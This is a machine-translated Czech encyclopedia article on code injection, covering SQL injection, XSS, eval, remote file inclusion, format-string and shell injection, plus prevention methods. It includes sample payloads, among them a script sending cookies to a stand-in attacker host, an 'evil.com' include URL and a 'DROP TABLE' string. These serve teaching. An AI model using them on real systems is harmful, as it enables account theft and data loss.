Vložení kódu - Code injection

Vložení kódu je zneužití počítačové chyby, která je způsobena zpracováním neplatných dat. Injekci používá útočník k zavedení (neboli „ vložení “) kódu do zranitelného počítačového programu a ke změně průběhu provádění . Výsledek úspěšného vložení kódu může být katastrofální, například tím, že umožníte šíření počítačových virů nebo počítačových červů .

K chybám zabezpečení při vkládání kódu dochází, když aplikace odešle nedůvěryhodná data tlumočníkovi . Chyby ve vkládání se nejčastěji vyskytují v dotazech SQL , LDAP , XPath , NoSQL , OS, XML parserech , hlavičkách SMTP , programových argumentech atd. Chyby ve vkládání bývají při zkoumání zdrojového kódu snazší odhalit než pomocí testování. Skenery a fuzzery mohou pomoci najít chyby při vstřikování.

Injekce může mít za následek ztrátu nebo poškození dat, nedostatečnou odpovědnost nebo odepření přístupu . Injekce může někdy vést k úplnému převzetí hostitelem.

Určité typy vkládání kódu jsou chyby v interpretaci, což dává uživatelskému vstupu zvláštní význam. Podobné interpretační chyby existují i ​​mimo svět počítačové vědy, jako je komediální rutina Who's on First? . V rutině se nedaří rozeznat vlastní jména od běžných slov. Stejně tak u některých typů vkládání kódu dochází k selhání při rozlišování vstupu uživatele od systémových příkazů.

Techniky vkládání kódu jsou populární při hackování nebo prolamování systému za účelem získání informací, eskalace oprávnění nebo neoprávněného přístupu do systému. Vkládání kódu lze použít zlomyslně k mnoha účelům, včetně:

V roce 2008 bylo 5,66% všech zranitelností hlášených v daném roce klasifikováno jako Code Injection, což je nejvyšší rok v historii. V roce 2015 to kleslo na 0,77%.

Benigní a neúmyslné použití

Vložení kódu může být použito s dobrým úmyslem; například změna nebo vyladění chování programu nebo systému prostřednictvím vložení kódu může způsobit, že se systém bude chovat určitým způsobem bez jakéhokoli škodlivého úmyslu. Vložení kódu může například:

  • Představte užitečný nový sloupec, který se neobjevil v původním návrhu stránky s výsledky vyhledávání.
  • Nabídněte nový způsob filtrování, řazení nebo seskupování dat pomocí pole, které není zobrazeno ve výchozích funkcích původního návrhu.
  • Pokud jde o programy jako Dropbox , přidejte speciální součásti, které by bylo možné použít k připojení k online zdrojům v offline programu.
  • Použijte Linux Dynamic Linker k definování funkce se stejným názvem jako určité funkce libc , propojení této funkce jako knihovny a přepsání používání funkce libc.

Někteří uživatelé mohou bezděčně provádět vkládání kódu, protože vstup, který poskytnou programu, nebyl brán v úvahu těmi, kteří systém původně vyvinuli. Například:

  • To, co může uživatel považovat za platný vstup, může obsahovat znaky tokenu nebo znakové řetězce, které si vývojář vyhradil pro zvláštní význam (možná „&“ v „Shannon & Jason“ nebo uvozovky jako v „Bub 'Slugger' McCracken ").
  • Uživatel může odeslat chybně formátovaný soubor jako vstup, který je zpracován elegantně v jedné aplikaci, ale je toxický pro přijímací systém.

Další neškodné použití vkládání kódu by mohlo být objevení samotných nedostatků vstřikování se záměrem tyto nedostatky opravit. Toto je známé jako penetrační test bílého klobouku .

Předcházení problémům

Abyste předešli problémům se vkládáním kódu, použijte zabezpečené zpracování vstupů a výstupů, například:

  • Používání API, která jsou při správném používání zabezpečena proti všem vstupním znakům. Parametrizované dotazy (známé také jako „zkompilované dotazy“, „připravené příkazy“, „vázané proměnné“) umožňují interpretovat přesunutí uživatelských dat z řetězce. Rozhraní API pro kritéria a podobná rozhraní API se navíc vzdalují konceptu řetězců příkazů, které mají být vytvořeny a interpretovány.
  • Vynucení oddělení jazyků prostřednictvím systému statického typu .
  • Ověření vstupu, jako je například přidání pouze známých dobrých hodnot na seznam povolených , to lze provést například na straně klienta pomocí JavaScriptu nebo je to bezpečnější na straně serveru.
  • Kódování vstupu, např. Unikající nebezpečné znaky. Například v PHP pomocí htmlspecialchars()funkce uniknout speciálním znakům pro bezpečný výstup textu v HTML a mysqli::real_escape_string()izolovat data, která budou zahrnuta v požadavku SQL, aby byla chráněna před SQL Injection.
  • Výstupní kódování, tj. Prevence útoků HTML Injection (XSS) proti návštěvníkům webových stránek
  • HttpOnlyje příznakem pro soubory cookie HTTP, které po nastavení neumožňují interakci skriptů na straně klienta se soubory cookie, čímž zabraňují určitým útokům XSS.
  • Modulární odloučení skořepiny od jádra
  • S aplikací SQL Injection lze ke zmírnění problémů s vkládáním kódu použít parametrizované dotazy , uložené procedury , ověřování vstupu whitelistu a další.

Výše uvedená řešení se zabývají především webovou injekcí kódu HTML nebo skriptu do aplikace na straně serveru. Při přístupu k vložení uživatelského kódu do uživatelského počítače je však nutné použít jiné přístupy, což povede k útokům na zvýšení oprávnění. Některé přístupy, které se používají k detekci a izolování injekcí spravovaného a nespravovaného kódu, jsou:

  • Ověření hash bitové kopie za běhu - zachytí hash části nebo úplného obrazu spustitelného souboru načteného do paměti a porovná jej s uloženým a očekávaným hashem.
  • Bit NX -všechna uživatelská data jsou uložena ve speciálních paměťových sekcích, které jsou označeny jako nespustitelné. Procesor si je vědom toho, že v této části paměti neexistuje žádný kód, a odmítá provést cokoli, co se tam nachází.
  • Kanáry - náhodně umístěte hodnoty do zásobníku. Za běhu je kanárek zkontrolován, když se funkce vrátí. Pokud byl kanár upraven, program zastaví provádění a ukončí se. K tomu dochází při útoku přetečení zásobníku .
  • [V C] Maskování ukazatele kódu (CPM) - po načtení (potenciálně změněného) ukazatele kódu do registru použijte bitovou masku na ukazatel. To účinně omezuje adresy, na které může ukazatel odkazovat.

Příklady

SQL injekce

Injekce SQL využívá syntaxi SQL k vkládání příkazů, které mohou číst nebo upravovat databázi nebo kompromitovat význam původního dotazu.

Zvažte například webovou stránku, která má dvě pole, která uživatelům umožňují zadat uživatelské jméno a heslo. Kód za stránkou vygeneruje dotaz SQL ke kontrole hesla oproti seznamu uživatelských jmen:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

Pokud tento dotaz vrátí všechny řádky, bude přístup udělen. Pokud však škodlivý uživatel zadá platné uživatelské jméno a password' OR '1'='1do pole Heslo vloží platný kód ( ), bude výsledný dotaz vypadat takto:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

Ve výše uvedeném příkladu se předpokládá, že „heslo“ je prázdné nebo nějaký neškodný řetězec. " '1'='1'" bude vždy pravdivé a bude vráceno mnoho řádků, což umožní přístup.

Tuto techniku ​​lze upřesnit tak, aby umožňovala spouštění více příkazů nebo dokonce načítání a spouštění externích programů.

Předpokládejme dotaz v následujícím formátu:

SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '

Pokud má protivník pro vstupy následující:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

dotaz bude analyzován na:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

Výsledkem je, že tabulka Userbude odstraněna z databáze. K tomu dochází, protože ;symbol znamená konec jednoho příkazu a začátek nového. --znamená začátek komentáře.

Skriptování mezi weby

Vkládání kódu je zlomyslné vkládání nebo vkládání kódu do aplikace. Některé webové servery mají skript knihy návštěv , který přijímá malé zprávy od uživatelů a obvykle přijímá zprávy jako:

Very nice site!

Škodlivý člověk však může vědět o chybě zabezpečení vložení kódu do knihy návštěv a zadá zprávu jako:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Pokud si stránku prohlíží jiný uživatel, bude proveden vložený kód. Tento kód může útočníkovi umožnit vydávat se za jiného uživatele. Stejnou softwarovou chybu však může omylem spustit nenáročný uživatel, což způsobí, že web zobrazí špatný kód HTML.

Vkládání HTML a skriptů je populární téma, běžně nazývané „ skriptování mezi weby “ nebo „XSS“. XSS odkazuje na chybu vložení, kdy je vstup uživatele do webového skriptu nebo něčeho podobného umístěn do výstupního HTML, aniž by byl kontrolován kód HTML nebo skriptování.

Mnoho z těchto problémů souvisí s mylnými předpoklady toho, jaká vstupní data jsou možná, nebo s efekty speciálních dat.

Chyby zabezpečení dynamického hodnocení

K chybě zabezpečení týkající se injekce dochází, když útočník může ovládat celý nebo část vstupního řetězce, který je přiváděn do volání funkce. eval()eval()

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Argument „ eval“ bude zpracován jako PHP , takže lze připojit další příkazy. Pokud je například "arg" nastaveno na " ", spustí se další kód, který spustí program na serveru, v tomto případě " ". 10; system('/bin/echo uh-oh')/bin/echo

Vstřikování předmětů

PHP umožňuje serializaci a deserializaci celých objektů . Pokud je do funkce deserializace povolen nedůvěryhodný vstup, je možné přepsat stávající třídy v programu a provádět škodlivé útoky. Takový útok na Joomlu byl nalezen v roce 2013.

Vzdálené vkládání souborů

Zvažte tento program PHP (který obsahuje soubor specifikovaný na žádost):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

Tento příklad lze číst pouze jako barevné soubory blue.phpa red.phplze je načíst, zatímco útočníci mohou poskytnout COLOR=http://evil.com/exploitzpůsobení načtení externího souboru PHP.

Vložení specifikátoru formátu

Chyby formátovacího řetězce se nejčastěji objevují, když si programátor přeje vytisknout řetězec obsahující data zadaná uživatelem. Programátor může printf(buffer)místo toho psát omylem printf("%s", buffer). První verze interpretuje bufferjako formátovací řetězec a analyzuje všechny pokyny k formátování, které může obsahovat. Druhá verze jednoduše vytiskne řetězec na obrazovku, jak programátor zamýšlel. Zvažte následující krátký program C, který má lokální proměnné pole char, passwordkteré obsahuje heslo; program požádá uživatele o celé číslo a řetězec, poté ozve uživatelem zadaný řetězec.

  char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);
  
  printf(user_input); // Safe version is: printf("%s", user_input);  
  printf("\n");

  return 0;

Pokud je vstup uživatele naplněn seznamem specifikátorů formátu, jako je %s%s%s%s%s%s%s%s, pak printf()začne číst ze zásobníku . Nakonec jeden ze %sspecifikátorů formátu přistupuje k adrese password, která je v zásobníku, a vytiskne Password1se na obrazovku.

Injekce skořápky

Injekce prostředí (nebo příkazová injekce) je pojmenována po unixových shellech , ale vztahuje se na většinu systémů, které umožňují softwaru programově spouštět příkazový řádek . Zde je příklad zranitelného skriptu tcsh :

#!/bin/tcsh
# check arg outputs it matches if arg is one 
if ($1 == 1) echo it matches

Pokud je výše uvedené uloženo ve spustitelném souboru ./check, příkaz shell ./check " 1 ) evil"se pokusí spustit vložený příkaz shellu evilnamísto porovnání argumentu s konstantním. Zde je napadeným kódem kód, který se pokouší zkontrolovat parametr, samotný kód, který se možná pokoušel ověřit parametr, aby se bránil před útokem.

Jakákoli funkce, kterou lze použít k sestavení a spuštění příkazu skořápky, je potenciálním prostředkem k zahájení útoku vstřikováním granátu. Mezi ně patří system(), StartProcess()a System.Diagnostics.Process.Start().

Systémy klient -server, jako je interakce webového prohlížeče s webovými servery, jsou potenciálně náchylné k injektáži prostředí. Zvažte následující krátký program PHP, který lze spustit na webovém serveru a spustit externí program nazvaný funnytextnahradit slovo, které uživatel poslal jiným slovem.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Výše passthruuvedené skládá příkaz shellu, který je poté spuštěn webovým serverem. Protože část příkazu, který skládá, je převzata z adresy URL poskytnuté webovým prohlížečem, umožňuje to adrese URL vkládat škodlivé příkazy shellu. Do tohoto programu lze vložit kód několika způsoby využitím syntaxe různých funkcí prostředí (tento seznam není vyčerpávající):

Funkce skořepiny USER_INPUT hodnota Výsledný příkaz shellu Vysvětlení
Sekvenční provedení ; malicious_command /bin/funnytext ; malicious_command Provede funnytext, poté provede malicious_command.
Potrubí | malicious_command /bin/funnytext | malicious_command Odešle výstup funnytextjako vstup do malicious_command.
Náhrada příkazů `malicious_command` /bin/funnytext `malicious_command` Odešle výstup malicious_commandjako argumenty funnytext.
Náhrada příkazů $(malicious_command) /bin/funnytext $(malicious_command) Odešle výstup malicious_commandjako argumenty funnytext.
A seznam && malicious_command /bin/funnytext && malicious_command Provede, malicious_command pokud funnytext vrátí stav ukončení 0 (úspěch).
NEBO seznam || malicious_command /bin/funnytext || malicious_command Provede, malicious_command pokud funnytext vrátí nenulový stav ukončení (chyba).
Přesměrování výstupu > ~/.bashrc /bin/funnytext > ~/.bashrc Přepíše obsah .bashrcsouboru výstupem funnytext.
Přesměrování vstupu < ~/.bashrc /bin/funnytext < ~/.bashrc Odešle obsah .bashrcsouboru jako vstup do funnytext.

Některé jazyky nabízejí funkce ke správnému úniku nebo citování řetězců, které se používají ke konstrukci příkazů shellu:

To však stále zatěžuje programátory, aby věděli/dozvěděli se o těchto funkcích a nezapomněli je používat při každém použití příkazů shellu. Kromě používání těchto funkcí se také doporučuje ověření nebo dezinfekce uživatelského vstupu.

Bezpečnější alternativou je použít API, která spouští externí programy přímo, nikoli prostřednictvím shellu, čímž se zabrání možnosti injektáže shellu. Tato rozhraní API však obvykle nepodporují různé praktické funkce prostředí a/nebo jsou ve srovnání se stručnou syntaxí prostředí těžkopádnější/podrobnější.

Viz také

Reference

externí odkazy